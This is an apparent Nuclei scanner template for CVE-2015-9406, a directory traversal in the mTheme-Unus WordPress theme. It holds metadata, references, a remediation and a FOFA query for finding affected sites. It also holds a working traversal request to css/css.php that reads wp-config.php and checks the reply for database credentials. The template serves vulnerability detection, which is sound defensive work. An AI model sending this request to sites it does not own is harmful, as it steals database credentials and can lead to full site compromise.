id: CVE-2015-9406

info:
  name: mTheme Unus < 2.3 - Directory Traversal
  author: pussycat0x,dhiyaneshDk
  severity: high
  description: |
    The mTheme-Unus theme for WordPress, prior to version 2.3, contained a directory traversal flaw that let attackers access arbitrary files. This was possible by exploiting the files parameter in css/css.php with .. sequences.
  impact: |
    Attackers can read sensitive files including database credentials and configuration files, potentially leading to full site compromise.
  remediation: Upgrade to 2.3 or later version
  reference:
    - https://wpscan.com/vulnerability/d54b6b63-f280-412e-8c8f-17186727ac36/
    - https://wpscan.com/vulnerability/bc036ee3-9648-49db-ae52-3a58fdeb82eb/
    - https://wpvulndb.com/vulnerabilities/9890
    - https://packetstormsecurity.com/files/133778/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2015-9406
    cwe-id: CWE-22
    epss-score: 0.87141
    epss-percentile: 0.99458
    cpe: cpe:2.3:a:mtheme-unus_project:mtheme-unus:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    vendor: mtheme-unus_project
    product: mtheme-unus
    framework: wordpress
    fofa-query: 'body="wp-content/themes/mTheme-Unus/"'
  tags: cve,cve2015,wordpress,wp-theme,wp,wpscan,mtheme-unus,lfi,vkev,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-content/themes/mTheme-Unus/css/css.php?files=../../../../wp-config.php'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "DB_NAME"
          - "DB_PASSWORD"
        condition: and

      - type: status
        status:
          - 200
# digest: 490a00463044022036ac21f9fb003de438d4dd5f09863da2e7853031d9d7334b999507a845ae4b680220182376dd10ac55db9f1e5be7e99cba42b49b03cddef0dca252c0e74477576765:922c64590222798bb761d5b6d8e72950